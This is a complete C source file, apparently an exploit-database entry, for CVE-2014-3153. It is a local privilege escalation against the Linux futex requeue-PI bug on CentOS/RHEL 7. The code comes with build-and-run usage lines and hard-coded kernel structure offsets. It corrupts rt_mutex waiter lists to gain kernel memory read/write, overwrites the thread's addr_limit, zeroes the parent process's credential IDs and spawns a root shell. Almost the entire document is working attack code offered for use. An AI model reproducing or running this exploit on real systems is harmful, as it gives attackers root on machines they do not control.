Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation

/*
 * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
 * By Kaiqu Chen ( [email protected] )
 * Based on libfutex and the expoilt for Android by GeoHot.
 *
 * Usage:
 * $gcc exploit.c -o exploit -lpthread
 * $./exploit
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h>  
#include <netinet/tcp.h>  

#define ARRAY_SIZE(a)	(sizeof (a) / sizeof (*(a)))

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define USER_PRIO_BASE          120
#define LOCAL_PORT              5551

#define SIGNAL_HACK_KERNEL      12
#define SIGNAL_THREAD_EXIT      10

#define OFFSET_PID			0x4A4 
#define OFFSET_REAL_PARENT	0x4B8
#define OFFSET_CRED			0x668

#define SIZEOF_CRED			160
#define SIZEOF_TASK_STRUCT	2912
#define OFFSET_ADDR_LIMIT	0x20

#define PRIO_LIST_OFFSET	8	
#define NODE_LIST_OFFSET	(PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))

////////////////////////////////////////////////////////////////////
struct task_struct;

struct thread_info {
  struct task_struct *task;
  void *exec_domain;
  int flags;
  int status;
  int cpu;
  int preempt_count;
  void *addr_limit;
};

struct list_head {
  struct list_head *next;
  struct list_head *prev;
};

struct plist_head {
	struct list_head node_list;
};

struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};

struct rt_mutex {
	unsigned long		wait_lock;
	struct plist_head	wait_list;
	struct task_struct	*owner;
};

struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};

struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};

struct cred {
	int	usage;
	int	uid;		/* real UID of the task */
	int	gid;		/* real GID of the task */
	int	suid;		/* saved UID of the task */
	int	sgid;		/* saved GID of the task */
	int	euid;		/* effective UID of the task */
	int	egid;		/* effective GID of the task */
	int	fsuid;		/* UID for VFS ops */
	int	fsgid;		/* GID for VFS ops */
};

////////////////////////////////////////////////////////////////////

static int swag = 0;
static int swag2 = 0;
static int main_pid;

static pid_t waiter_thread_tid;

static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;

static pthread_mutex_t done_lock;
static pthread_cond_t done;

static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;

static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;

static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;

static pid_t last_tid = 0;

static volatile int_sync_time_out = 0;

struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;

struct thread_info *hack_thread_stack = NULL;

pthread_t thread_client_to_setup_rt_waiter;

int listenfd;
int sockfd;
int clientfd;

////////////////////////////////////////////////////////////////
int gettid()
{
	return syscall(__NR_gettid);
}

ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	len = write(pipefd[1], kbuf, count);

	if (len != count) {
		printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
		while(1) { sleep(10); }
	}

	read(pipefd[0], ubuf, count);

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	write(pipefd[1], ubuf, count);
	len = read(pipefd[0], kbuf, count);

	if (len != count) {
		printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
		while(1) { sleep(10); }
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

int pthread_cancel_immediately(pthread_t thid)
{
	pthread_kill(thid, SIGNAL_THREAD_EXIT);
	pthread_join(thid, NULL);
	return 0;
}

void set_addr_limit(void *sp)
{
	long newlimit = -1;
	write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}

void set_cred(struct cred *kcred)
{
	struct cred cred_buf;
	int len;

	len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
	cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
	cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
	len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}

struct rt_mutex_waiter *pwaiter11;

void set_parent_cred(void *sp, int parent_tid)
{
	int len;
	int tid;
	struct task_struct *pparent;
	struct cred *pcred;
	
	set_addr_limit(sp);
	
	len = read_pipe(sp, &thinfo, sizeof(thinfo));
	if(len != sizeof(thinfo)) {
		printf("Read %p error %d\n", sp, len);
	}
	
	void *ptask = thinfo.task;
	len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
	tid = *(int *)(task_struct_buf + OFFSET_PID);

	while(tid != 0 && tid != parent_tid) {
		pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
		len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
		tid = *(int *)(task_struct_buf + OFFSET_PID);
	}

	if(tid == parent_tid) {
		pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
		set_cred(pcred);
	} else
		printf("Pid %d not found\n", parent_tid);
	return;
}

static int read_voluntary_ctxt_switches(pid_t pid)
{
	char filename[256];
	FILE *fp;
	int vcscnt = -1;

	sprintf(filename, "/proc/self/task/%d/status", pid);
	fp = fopen(filename, "rb");
	if (fp) {
		char filebuf[4096];
		char *pdest;
		fread(filebuf, 1, sizeof filebuf, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		vcscnt = atoi(pdest + 0x19);
		fclose(fp);
	}
	return vcscnt;
}

static void sync_timeout_task(int sig)
{
	int_sync_time_out = 1;
}

static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
	while (*do_request == 0) { }
	printf("Press RETURN after one second...");
	*did_request = 1;
	getchar();
	return 0;
}

static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
	struct sigaction act;
	int vcscnt;
	int_sync_time_out = 0;

	act.sa_handler = sync_timeout_task;
	sigemptyset(&act.sa_mask);
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(SIGALRM, &act, NULL);

	alarm(3);
	while (*do_request == 0) {
		if (int_sync_time_out)
			return -1;
	}
	
	alarm(0);
	vcscnt = read_voluntary_ctxt_switches(pid);
	*did_request = 1;
	while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
    	usleep(10);
	}

	return 0;
}

static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
	*do_request = 1;
	while (*did_request == 0) { }
}

void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
	struct rt_mutex_waiter *pwaiter6, *pwaiter7;
	struct rt_mutex_waiter waiter6, waiter7;
	struct rt_mutex mutex;
	if(!pmutex) 
		return;
	read_pipe(pmutex, &mutex, sizeof(mutex));
	pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
	if(!pwaiter6) 
		return;
	read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
	pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
	if(!pwaiter7) 
		return;
	read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
	
	waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
	waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
	mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
	waiter7.list_entry.node_list.next =  waiter6.list_entry.node_list.prev;
	
	write_pipe(pmutex, &mutex, sizeof(mutex));
	write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
	write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}

static void void_handler(int signum)
{
	pthread_exit(0);
}

static void kernel_hack_task(int signum)
{
	struct rt_mutex *prt_mutex, rt_mutex;
	struct rt_mutex_waiter rt_waiter11;
	int tid = syscall(__NR_gettid);
	int pid = getpid();

	set_parent_cred(hack_thread_stack, main_pid);
	
	read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
	
	prt_mutex = rt_waiter11.lock;
	read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
	
	void *ptask_struct = rt_mutex.owner;
	ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
	int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
	int *ppid = (int *)(task_struct_buf + OFFSET_PID);
	void **pstack = (void **)&task_struct_buf[8];
	void *owner_sp = *pstack;
	set_addr_limit(owner_sp);

	pthread_mutex_lock(&hacked_lock);
	pthread_cond_signal(&hacked);
	pthread_mutex_unlock(&hacked_lock);
}

static void *call_futex_lock_pi_with_priority(void *arg)
{
	int prio;
	struct sigaction act;
	int ret;
	
	prio = (long)arg;
	last_tid = syscall(__NR_gettid);
	
	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_cond_signal(&is_thread_desched);
	
	act.sa_handler = void_handler;
	sigemptyset(&act.sa_mask);
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
	
	act.sa_handler = kernel_hack_task;
	sigemptyset(&act.sa_mask);
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
	
	setpriority(PRIO_PROCESS, 0, prio);
	
	pthread_mutex_unlock(&is_thread_desched_lock);
	
	sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
	
	ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
	
	return NULL;
}

static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
	pthread_t th4;
	pid_t pid;
	
	do_dm_tid_read = 0;
	did_dm_tid_read = 0;
	
	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
	pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
	
	pid = last_tid;
	
	sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
	
	pthread_mutex_unlock(&is_thread_desched_lock);
	
	return th4;
}

static int server_for_setup_rt_waiter(void)
{
	int sockfd;
	int yes = 1;
	struct sockaddr_in addr = {0};
	
	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
	
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
	
	addr.sin_family = AF_INET;
	addr.sin_port = htons(LOCAL_PORT);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
	
	listen(sockfd, 1);
	listenfd = sockfd;
	
	return accept(sockfd, NULL, NULL);
}

static int connect_server_socket(void)
{
	int sockfd;
	struct sockaddr_in addr = {0};
	int ret;
	int sock_buf_size;
	
	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
	if (sockfd < 0) {
		printf("socket failed\n");
		usleep(10);
	} else {
		addr.sin_family = AF_INET;
		addr.sin_port = htons(LOCAL_PORT);
		addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	}
	
	while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
		usleep(10);
	}
	
	sock_buf_size = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
	
	return sockfd;
}

unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;

static void *client_to_setup_rt_waiter(void *waiter_plist)
{
	int sockfd;
	struct mmsghdr msgvec[1];
	struct iovec msg_iov[8];
	unsigned long databuf[0x20];
	int i;
	int ret;
	struct sigaction act;
	
	act.sa_handler = void_handler;
	sigemptyset(&act.sa_mask);
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
	
	waiter_thread_tid = syscall(__NR_gettid);
	setpriority(PRIO_PROCESS, 0, 12);
	
	sockfd = connect_server_socket();
	clientfd = sockfd;
	
	for (i = 0; i < ARRAY_SIZE(databuf); i++) {
	databuf[i] = (unsigned long)waiter_plist;
	}
	
	for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
	msg_iov[i].iov_base = waiter_plist;
	msg_iov[i].iov_len = (long)waiter_plist;
	}
	msg_iov[1].iov_base = (void *)iov_base0;
	
	msgvec[0].msg_hdr.msg_name = databuf;
	msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
	msgvec[0].msg_hdr.msg_iov = msg_iov;
	msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
	msgvec[0].msg_hdr.msg_control = databuf;
	msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
	msgvec[0].msg_hdr.msg_flags = 0;
	msgvec[0].msg_len = 0;
	
	syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
	
	sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
	
	ret = 0;
	
	while (1) {
	ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
	if (ret <= 0) {
		break;
	} else 
		printf("sendmmsg ret %d\n", ret);
	}
	return NULL;
}

static void plist_set_next(struct list_head *node, struct list_head *head)
{
	node->next = head;
	head->prev = node;
	node->prev = head;
	head->next = node;
}

static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
	rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
	rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
	plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
	plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}

static bool do_exploit(void *waiter_plist)
{
	void *magicval, *magicval2;
	struct rt_mutex_waiter *rt_waiters;
	pid_t pid;
	pid_t pid6, pid7, pid12, pid11;
	
	rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
	
	syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
	
	while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
		usleep(10);
	}
	
	pthread_t th6 =  create_thread_do_futex_lock_pi_with_priority(6);
	pthread_t th7 =  create_thread_do_futex_lock_pi_with_priority(7);
	
	swag2 = 0;
	do_socket_tid_read = 0;
	did_socket_tid_read = 0;
	
	syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
	
	if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
	return false;
	}
	
	setup_waiter_params(rt_waiters);
	magicval = rt_waiters[0].list_entry.prio_list.next;
	printf("Checking whether exploitable..");
	pthread_t th11 =  create_thread_do_futex_lock_pi_with_priority(11);
	
	if (rt_waiters[0].list_entry.prio_list.next == magicval) {
		printf("failed\n");
		return false;
	}
	printf("OK\nSeaching good magic...\n");
	magicval = rt_waiters[0].list_entry.prio_list.next;
	
	pthread_cancel_immediately(th11);
	
	pthread_t th11_1, th11_2;
	while(1) {
		setup_waiter_params(rt_waiters);
		th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
		magicval = rt_waiters[0].list_entry.prio_list.next;
		hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
		rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
		
		th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
		magicval2 = rt_waiters[1].list_entry.node_list.prev;
		
		printf("magic1=%p magic2=%p\n", magicval, magicval2);
		if(magicval < magicval2) {
			printf("Good magic found\nHacking...\n");
			break;
		} else {
			pthread_cancel_immediately(th11_1);
			pthread_cancel_immediately(th11_2);
		}		
	}
	pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
	pthread_mutex_lock(&hacked_lock);
	pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
	pthread_cond_wait(&hacked, &hacked_lock);
	pthread_mutex_unlock(&hacked_lock);
	close(listenfd);
	
	struct rt_mutex_waiter waiter11;
	struct rt_mutex *pmutex;
	int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
	if(len != sizeof(waiter11)) {
		pmutex = NULL;
	} else {
		pmutex = waiter11.lock;
	}
	fix_rt_mutex_waiter_list(pmutex);
	
	pthread_cancel_immediately(th11_1);
	pthread_cancel_immediately(th11_2);
	
	pthread_cancel_immediately(th7);
	pthread_cancel_immediately(th6);
	close(clientfd);
	pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
	
	exit(0);
}

#define MMAP_ADDR_BASE	0x0c000000
#define MMAP_LEN		0x0c001000

int main(int argc, char *argv[])
{
	unsigned long mapped_address;
	void *waiter_plist;
	
	printf("CVE-2014-3153 exploit by Chen Kaiqu([email protected])\n");
  
	main_pid = gettid();
	if(fork() == 0) {
		iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
		if (iov_base0 < 0xb0000000) {
			printf("mmap failed?\n");
			return 1;
		}
		iov_len0 = 0x10000;
		
		iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
		if (iov_basex < MMAP_ADDR_BASE) {
			printf("mmap failed?\n");
			return 1;
		}
		iov_lenx = MMAP_LEN;
		
		waiter_plist = (void *)iov_basex + 0x400;
		pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
		
		sockfd = server_for_setup_rt_waiter();
		if (sockfd < 0) {
			printf("Server failed\n");
			return 1;
		}
		
		if (!do_exploit(waiter_plist)) {
			return 1;
		}
		return 0;
	}

	while(getuid())
		usleep(100);
	execl("/bin/bash", "bin/bash", NULL);
	return 0;
}